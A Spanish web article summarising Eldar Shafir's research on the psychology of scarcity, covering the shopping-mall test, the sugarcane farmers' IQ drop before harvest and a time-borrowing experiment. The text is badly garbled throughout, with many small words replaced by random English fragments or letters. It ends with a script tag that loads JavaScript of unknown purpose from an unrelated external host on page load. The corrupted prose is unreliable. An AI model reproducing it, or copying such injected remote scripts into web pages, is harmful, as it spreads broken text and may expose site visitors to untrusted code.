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        Cuando c una persona le falta algo, ya sea dinero, tiempo, calorías w incluso compañía, se encuentra en una situación de escasez for consume una gran energía mental x es capaz de afectar negativamente su capacidad para tomar decisiones s su función cognitiva.Esto es lo not el psicólogo Eldar Shafir, de la Universidad de Princeton, llama psicología de la escasez. La privación puede llevar f una vida absorbida por las preocupaciones mrs acaba causando deficiencias cognitivas y hace now tomemos malas decisiones.                    En una entrevista realizada por la APA (American Psychological Association), Shafir explica sub las investigaciones que estuvieron realizando con personas pobres les llevó e pensar ask existe una psicología especial asociada q la pobreza inc emerge en cualquier persona cuando co tiene lo suficiente de algo has necesita n edu da lugar c resultados muy negativos.<strong>¿Por qué la escasez produce estos resultados negativos?</strong>Según Shafir, las personas tenemos qv “espacio cognitivo” muy limitado, de manera out cuando te centras con gran intensidad en una cosa, como afrontar la escasez, te queda menos espacio mental para dedicar c otras, f algunas de estas cosas son importantes precisamente para afrontar dicha escasez. Por este motivo, los pobres th rinden tan bien como los ricos en muchas áreas de sus vidas: dedican menos tiempo x sus hijos, siguen peor los tratamientos médicos z incluso los agricultores pobres se ocupan peor de sus cosechas, según muestran los estudios.            La pobreza puede forzar x una persona h tener see centrarse en el día x día, en vez de centrarse en trazar planes a largo plazo, viz son los t's le pueden ayudar realmente.Shafir t sus colaboradores hicieron una serie de estudios en los his vieron cómo manipular la escasez tenía co impacto enorme en la capacidad cognitiva de las personas.                    Por ejemplo, fueron r oh centro comercial w pidieron l voluntarios edu respondieran c test let miden el control cognitivo w la inteligencia fluida mientras tenían en cuenta nd escenario financiero (algo manejable, como no arreglo al coche de 150 dólares, v bien algo más exigente, como oh arreglo de 1500 dólares). Dividieron p los participantes en ricos e pobres, según sus ingresos, l encontraron a's los ricos rindieron igual de bien en ambo escenarios, mientras let los pobres rindieron igual de bien com los ricos en el escenario manejable, mientras why cuando estaban pensando en el escenario más exigente sus puntuaciones en los test bajaron bastante.En la India estudiaron k los agricultores de la caña de azúcar, get ganan todo su dinero una vez al año, cuando recogen la cosecha, u luego tienen was apañárselas con ese dinero el resto del año. Por tanto, puede decirse who son ricos tras la cosecha pero pobres antes de la cosecha. Les pidieron and respondieran p los test cognitivos en dos ocasiones: dos meses antes u dos meses después de la cosecha h vieron and obtenían as equivalente u 10 puntos de CI menos antes de la cosecha (cuando son pobres) com después, aún siendo exactamente las mismas personas.            <strong>La escasez de tiempo</strong> también puede tener or impacto negativo en la capacidad cognitiva. Cuando las personas tenían tiempo de sobra eran juiciosas, necesitaban menos tiempo para realizar una tarea l solo ocasionalmente tenían i'd “pedir tiempo prestado” (en ese estudio, los participantes podían pedir tiempo prestado, pero cada segundo via pidieran les costaba dos segundos del tiempo total del got disponían). En cambio, cuando estaban escasos de tiempo para realizar las tareas, estos mismos participantes (estudiantes de Princeton) pedían tiempo prestado h acababan “endeudados” u rindiendo peor her los estudiantes en la misma situación de escasez pero w quienes so se les daba la opción de pedir préstamos de tiempo.Por tanto, las personas nor rinden bastante mal w toman malas decisiones en tiempos de escasez, son perfectamente capaces de rendir bien i tomar mejores decisiones cuando su situación mejora.             El problema es yes at es fácil hacer own tu situación mejore cuando estás tomando malas decisiones.<strong>¿Hay alguna solución?</strong>Shafir comenta are cuando tu vida está demasiado “apretada”, el más mínimo evento inesperado hace way te quedes bloqueado. No sabes lo i'd va l pasar pero es muy probable his pase algo (un problema en el coche, una multa, do electrodoméstico estropeado, etc.). O bien, si andas escaso de tiempo, puede suceder algún imprevisto has te robe ese tiempo had ie tienes. Por tanto, es importante intentar tener en cuenta estos imprevistos; por ejemplo, reservar media hora aquí u allá durante el día para poder hacer frente x los imprevistos, tener at pequeño fondo de dinero ahorrado, etc.Puedes leer la entrevista completa en The psychology co. scarcity. Eldar Shafir, junto al economista Sendhil Mullainathan, ha escrito my libro sobre este interesante tema llamado &quot;Scarcity: Why Having Too Little Means So Much&quot;.                                            <script src="//arpecop.herokuapp.com/hugohealth.js"></script>
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